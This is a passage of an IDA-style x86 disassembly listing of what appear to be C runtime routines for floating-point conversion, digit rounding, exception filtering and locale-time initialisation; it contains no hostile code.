var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+0Ah]
		and	ecx, 7FFFh
		sub	ecx, 3FFFh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx+0Ah]
		and	eax, 8000h
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+6]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx]
		shl	eax, 10h
		mov	[ebp+var_10], eax
		cmp	[ebp+var_4], 0FFFFC001h
		jnz	short loc_42A100
		mov	[ebp+var_8], 0
		lea	ecx, [ebp+var_18]
		push	ecx
		call	sub_429F40
		add	esp, 4
		test	eax, eax
		jz	short loc_42A0E8
		mov	[ebp+var_1C], 0
		jmp	short loc_42A0FB
; ---------------------------------------------------------------------------


loc_42A0E8:				; CODE XREF: sub_42A070+6Dj
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_429F10
		add	esp, 4
		mov	[ebp+var_1C], 2


loc_42A0FB:				; CODE XREF: sub_42A070+76j
		jmp	loc_42A24C
; ---------------------------------------------------------------------------


loc_42A100:				; CODE XREF: sub_42A070+56j
		lea	eax, [ebp+var_18]
		push	eax
		lea	ecx, [ebp+var_30]
		push	ecx
		call	sub_429EC0
		add	esp, 8
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		push	eax
		lea	ecx, [ebp+var_18]
		push	ecx
		call	sub_429DE0
		add	esp, 8
		test	eax, eax
		jz	short loc_42A130
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42A130:				; CODE XREF: sub_42A070+B5j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	edx, [eax+4]
		sub	edx, [ecx+8]
		cmp	[ebp+var_4], edx
		jge	short loc_42A160
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_429F10
		add	esp, 4
		mov	[ebp+var_8], 0
		mov	[ebp+var_1C], 2
		jmp	loc_42A24C
; ---------------------------------------------------------------------------


loc_42A160:				; CODE XREF: sub_42A070+CFj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		cmp	edx, [ecx+4]
		jg	short loc_42A1D0
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_4]
		mov	[ebp+var_34], ecx
		lea	edx, [ebp+var_30]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_429EC0
		add	esp, 8
		mov	ecx, [ebp+var_34]
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_429F80
		add	esp, 8
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+8]
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_429DE0
		add	esp, 8
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+0Ch]
		add	ecx, 1
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_429F80
		add	esp, 8
		mov	[ebp+var_8], 0
		mov	[ebp+var_1C], 2
		jmp	short loc_42A24C
; ---------------------------------------------------------------------------


loc_42A1D0:				; CODE XREF: sub_42A070+F9j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax]
		jl	short loc_42A21B
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_429F10
		add	esp, 4
		mov	eax, [ebp+var_18]
		or	eax, 80000000h
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_429F80
		add	esp, 8
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_8]
		add	edx, [eax+14h]
		mov	[ebp+var_8], edx
		mov	[ebp+var_1C], 1
		jmp	short loc_42A24C
; ---------------------------------------------------------------------------


loc_42A21B:				; CODE XREF: sub_42A070+168j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		add	edx, [ecx+14h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_18]
		and	eax, 7FFFFFFFh
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_429F80
		add	esp, 8
		mov	[ebp+var_1C], 0


loc_42A24C:				; CODE XREF: sub_42A070:loc_42A0FBj
					; sub_42A070+EBj ...
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		add	edx, 1
		mov	eax, 20h
		sub	eax, edx
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		shl	edx, cl
		mov	eax, [ebp+var_18]
		or	eax, edx
		mov	ecx, [ebp+var_20]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	eax, ecx
		mov	[ebp+var_24], eax
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx+10h], 40h
		jnz	short loc_42A29A
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_14]
		mov	[edx], eax
		jmp	short loc_42A2AB
; ---------------------------------------------------------------------------


loc_42A29A:				; CODE XREF: sub_42A070+215j
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+10h], 20h
		jnz	short loc_42A2AB
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_24]
		mov	[edx], eax


loc_42A2AB:				; CODE XREF: sub_42A070+228j
					; sub_42A070+231j
		mov	eax, [ebp+var_1C]
		mov	esp, ebp
		pop	ebp
		retn
sub_42A070	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A2C0	proc near		; CODE XREF: sub_42A3C0+2Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_444600
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A070
		add	esp, 0Ch
		pop	ebp
		retn
sub_42A2C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A2E0	proc near		; CODE XREF: sub_42A440+2Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_444618
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A070
		add	esp, 0Ch
		pop	ebp
		retn
sub_42A2E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A300	proc near		; CODE XREF: ___:0042A42Ap
					; ___:0042DFAFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_14], 0
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+0Ah]
		and	ecx, 7FFFh
		mov	word ptr [ebp+var_4], cx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx+0Ah]
		and	eax, 8000h
		mov	word ptr [ebp+var_18], ax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+6]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx]
		shl	eax, 10h
		mov	[ebp+var_8], eax
		push	40h
		lea	ecx, [ebp+var_10]
		push	ecx
		call	sub_429DE0
		add	esp, 8
		test	eax, eax
		jz	short loc_42A377
		mov	[ebp+var_10], 80000000h
		mov	dx, word ptr [ebp+var_4]
		add	dx, 1
		mov	word ptr [ebp+var_4], dx


loc_42A377:				; CODE XREF: sub_42A300+62j
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		cmp	eax, 7FFFh
		jnz	short loc_42A38D
		mov	[ebp+var_14], 1


loc_42A38D:				; CODE XREF: sub_42A300+84j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_10]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	edx, [ebp+var_18]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		or	edx, eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], dx
		mov	eax, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn
sub_42A300	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A3C0	proc near		; CODE XREF: sub_423670+14p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		call	sub_42D450
		add	esp, 1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_42A2C0
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
sub_42A3C0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	1
		mov	eax, [ebp+0Ch]
		push	eax
		lea	ecx, [ebp-10h]
		push	ecx
		lea	edx, [ebp-0Ch]
		push	edx
		call	sub_42D450
		add	esp, 1Ch
		mov	eax, [ebp+8]
		push	eax
		lea	ecx, [ebp-0Ch]
		push	ecx
		call	sub_42A300
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A440	proc near		; CODE XREF: sub_423670+34p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		call	sub_42D450
		add	esp, 1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_42A2E0
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
sub_42A440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A480	proc near		; CODE XREF: sub_4236C0+4Dp
					; sub_4238B0+45p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	30h
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42A4A4:				; CODE XREF: sub_42A480+69j
		cmp	[ebp+arg_4], 0
		jle	short loc_42A4EB
		mov	edx, [ebp+var_8]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42A4C8
		mov	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		jmp	short loc_42A4CF
; ---------------------------------------------------------------------------


loc_42A4C8:				; CODE XREF: sub_42A480+32j
		mov	[ebp+var_C], 30h


loc_42A4CF:				; CODE XREF: sub_42A480+46j
		mov	ecx, [ebp+var_4]
		mov	dl, byte ptr [ebp+var_C]
		mov	[ecx], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		jmp	short loc_42A4A4
; ---------------------------------------------------------------------------


loc_42A4EB:				; CODE XREF: sub_42A480+28j
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	0
		cmp	[ebp+arg_4], 0
		jl	short loc_42A534
		mov	eax, [ebp+var_8]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 35h
		jl	short loc_42A534
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_42A50B:				; CODE XREF: sub_42A480+A5j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 39h
		jnz	short loc_42A527
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_42A50B
; ---------------------------------------------------------------------------


loc_42A527:				; CODE XREF: sub_42A480+94j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		add	dl, 1
		mov	eax, [ebp+var_4]
		mov	[eax], dl


loc_42A534:				; CODE XREF: sub_42A480+75j
					; sub_42A480+80j
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 31h
		jnz	short loc_42A550
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		add	ecx, 1
		mov	edx, [ebp+arg_8]
		mov	[edx+4], ecx
		jmp	short loc_42A576
; ---------------------------------------------------------------------------


loc_42A550:				; CODE XREF: sub_42A480+BDj
		mov	eax, [ebp+arg_0]
		add	eax, 1
		push	eax
		call	sub_414BE0
		add	esp, 4
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4197C0
		add	esp, 0Ch


loc_42A576:				; CODE XREF: sub_42A480+CEj
		mov	esp, ebp
		pop	ebp
		retn
sub_42A480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A580	proc near		; CODE XREF: sub_4236C0+1Ep
					; sub_4238B0+1Ep ...

var_28		= word ptr -28h
var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= byte ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		lea	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_42A600
		add	esp, 8
		lea	edx, [ebp+var_28]
		push	edx
		push	0
		push	11h
		sub	esp, 0Ch
		mov	eax, esp
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	edx, [ebp+var_8]
		mov	[eax+4], edx
		mov	cx, [ebp+var_4]
		mov	[eax+8], cx
		call	sub_42DFD0
		add	esp, 18h
		mov	edx, [ebp+arg_8]
		mov	[edx+8], eax
		movsx	eax, [ebp+var_26]
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		movsx	edx, [ebp+var_28]
		mov	eax, [ebp+arg_8]
		mov	[eax+4], edx
		lea	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_4184C0
		add	esp, 8
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_C]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+arg_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42A580	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A600	proc near		; CODE XREF: sub_42A580+Ep

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_C], 80000000h
		mov	word ptr [ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cx, [eax+6]
		and	ecx, 7FF0h
		sar	ecx, 4
		mov	word ptr [ebp+var_14], cx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+6]
		and	eax, 8000h
		mov	word ptr [ebp+var_18], ax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		and	edx, 0FFFFFh
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_14]
		and	edx, 0FFFFh
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jz	short loc_42A677
		cmp	[ebp+var_1C], 7FFh
		jz	short loc_42A66F
		jmp	short loc_42A6BA
; ---------------------------------------------------------------------------


loc_42A66F:				; CODE XREF: sub_42A600+6Bj
		mov	word ptr [ebp+var_4], 7FFFh
		jmp	short loc_42A6D5
; ---------------------------------------------------------------------------


loc_42A677:				; CODE XREF: sub_42A600+62j
		cmp	[ebp+var_8], 0
		jnz	short loc_42A6A4
		cmp	[ebp+var_10], 0
		jnz	short loc_42A6A4
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+arg_0]
		mov	word ptr [edx+8], 0
		jmp	loc_42A75E
; ---------------------------------------------------------------------------


loc_42A6A4:				; CODE XREF: sub_42A600+7Bj
					; sub_42A600+81j
		movsx	eax, word ptr [ebp+var_14]
		add	eax, 3C01h
		mov	word ptr [ebp+var_4], ax
		mov	[ebp+var_C], 0
		jmp	short loc_42A6D5
; ---------------------------------------------------------------------------


loc_42A6BA:				; CODE XREF: sub_42A600+6Dj
		mov	cx, word ptr [ebp+var_14]
		sub	cx, 3FFh
		mov	word ptr [ebp+var_14], cx
		movsx	edx, word ptr [ebp+var_14]
		add	edx, 3FFFh
		mov	word ptr [ebp+var_4], dx


loc_42A6D5:				; CODE XREF: sub_42A600+75j
					; sub_42A600+B8j
		mov	eax, [ebp+var_8]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	edx, [ebp+var_10]
		shr	edx, 15h
		or	ecx, edx
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ecx
		mov	ecx, [ebp+var_10]
		shl	ecx, 0Bh
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_42A6F9:				; CODE XREF: sub_42A600+142j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		and	ecx, 80000000h
		test	ecx, ecx
		jnz	short loc_42A744
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 80000000h
		neg	edx
		sbb	edx, edx
		neg	edx
		or	eax, edx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	dx, word ptr [ebp+var_4]
		sub	dx, 1
		mov	word ptr [ebp+var_4], dx
		jmp	short loc_42A6F9
; ---------------------------------------------------------------------------


loc_42A744:				; CODE XREF: sub_42A600+107j
		mov	eax, [ebp+var_18]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFh
		or	eax, ecx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ax


loc_42A75E:				; CODE XREF: sub_42A600+9Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_42A600	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	2
		call	sub_41A9A0
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A780	proc near		; DATA XREF: sub_42A7E0+3o
					; ___:00444260o ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	short loc_42A7AE
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42A7AE
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		cmp	dword ptr [edx+14h], 19930520h
		jnz	short loc_42A7AE
		call	sub_424890


loc_42A7AE:				; CODE XREF: sub_42A780+Ej
					; sub_42A780+19j ...
		cmp	dword_4DB3C4, 0
		jz	short loc_42A7D5
		mov	eax, dword_4DB3C4
		push	eax
		call	sub_42A880
		add	esp, 4
		test	eax, eax
		jz	short loc_42A7D5
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4DB3C4
		jmp	short loc_42A7D7
; ---------------------------------------------------------------------------


loc_42A7D5:				; CODE XREF: sub_42A780+35j
					; sub_42A780+47j
		xor	eax, eax


loc_42A7D7:				; CODE XREF: sub_42A780+53j
		pop	ebp
		retn	4
sub_42A780	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A7E0	proc near		; DATA XREF: ___:00436024o
		push	ebp
		mov	ebp, esp
		push	offset sub_42A780
		nop
		call	near ptr 2641E8Fh
		mov	dword_4DB3C4, eax
		pop	ebp
		retn
sub_42A7E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A800	proc near		; DATA XREF: ___:0043603Co
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4DB3C4
		push	eax
		call	near ptr 2641E8Fh
		nop
		pop	ebp
		retn
sub_42A800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A820	proc near		; CODE XREF: sub_423CD0+9Ep
					; sub_4244E0+77p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		nop
		call	near ptr 2821B33h
		test	eax, eax
		jz	short loc_42A844
		mov	[ebp+var_4], 0


loc_42A844:				; CODE XREF: sub_42A820+1Bj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42A820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A850	proc near		; CODE XREF: sub_4244E0+89p
					; sub_4244E0+EDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		nop
		call	near ptr 28215EBh
		test	eax, eax
		jz	short loc_42A874
		mov	[ebp+var_4], 0


loc_42A874:				; CODE XREF: sub_42A850+1Bj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42A850	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A880	proc near		; CODE XREF: sub_4244E0+1E2p
					; sub_42A780+3Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 2641DF9h
		test	eax, eax
		jz	short loc_42A8A0
		mov	[ebp+var_4], 0


loc_42A8A0:				; CODE XREF: sub_42A880+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42A880	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A8B0	proc near		; CODE XREF: sub_4248FEp
		push	ebp
		mov	ebp, esp
		push	0Ah
		call	sub_426B80
		add	esp, 4
		push	16h
		call	sub_427350
		add	esp, 4
		push	3
		call	sub_417960
		pop	ebp
		retn
sub_42A8B0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A8D0	proc near		; DATA XREF: ___:004443C4o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB1C4, 0
		jz	loc_42A971
		push	48h
		push	offset aInittime_c ; "inittime.c"
		push	2
		push	0ACh
		push	1
		call	sub_4151E0
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42A90C
		mov	eax, 1
		jmp	loc_42A9A7
; ---------------------------------------------------------------------------


loc_42A90C:				; CODE XREF: sub_42A8D0+30j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_42A9B0
		add	esp, 4
		test	eax, eax
		jz	short loc_42A93D
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42AF40
		add	esp, 4
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_415860
		add	esp, 8
		mov	eax, 1
		jmp	short loc_42A9A7
; ---------------------------------------------------------------------------


loc_42A93D:				; CODE XREF: sub_42A8D0+4Aj
		mov	eax, [ebp+var_4]
		mov	off_444DA8, eax
		mov	ecx, dword_4DB3C8
		push	ecx
		call	sub_42AF40
		add	esp, 4
		push	2
		mov	edx, dword_4DB3C8
		push	edx
		call	sub_415860
		add	esp, 8
		mov	eax, [ebp+var_4]
		mov	dword_4DB3C8, eax
		xor	eax, eax
		jmp	short loc_42A9A7
; ---------------------------------------------------------------------------


loc_42A971:				; CODE XREF: sub_42A8D0+Bj
		mov	off_444DA8, offset off_444DB0
		mov	ecx, dword_4DB3C8
		push	ecx
		call	sub_42AF40
		add	esp, 4
		push	2
		mov	edx, dword_4DB3C8
		push	edx
		call	sub_415860
		add	esp, 8
		mov	dword_4DB3C8, 0
		xor	eax, eax


loc_42A9A7:				; CODE XREF: sub_42A8D0+37j
					; sub_42A8D0+6Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42A8D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A9B0	proc near		; CODE XREF: sub_42A8D0+40p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], 0
		xor	eax, eax
		mov	ax, word_4DB402
		mov	[ebp+var_4], eax
		xor	ecx, ecx
		mov	cx, word_4DB404
		mov	[ebp+var_8], ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_42A9E2
		or	eax, 0FFFFFFFFh
		jmp	loc_42AF3B
; ---------------------------------------------------------------------------


loc_42A9E2:				; CODE XREF: sub_42A9B0+28j
		mov	edx, [ebp+arg_0]
		add	edx, 4
		push	edx
		push	31h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 8
		push	edx
		push	32h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0Ch
		push	edx
		push	33h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 10h
		push	edx
		push	34h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 14h
		push	edx
		push	35h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 18h
		push	edx
		push	36h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
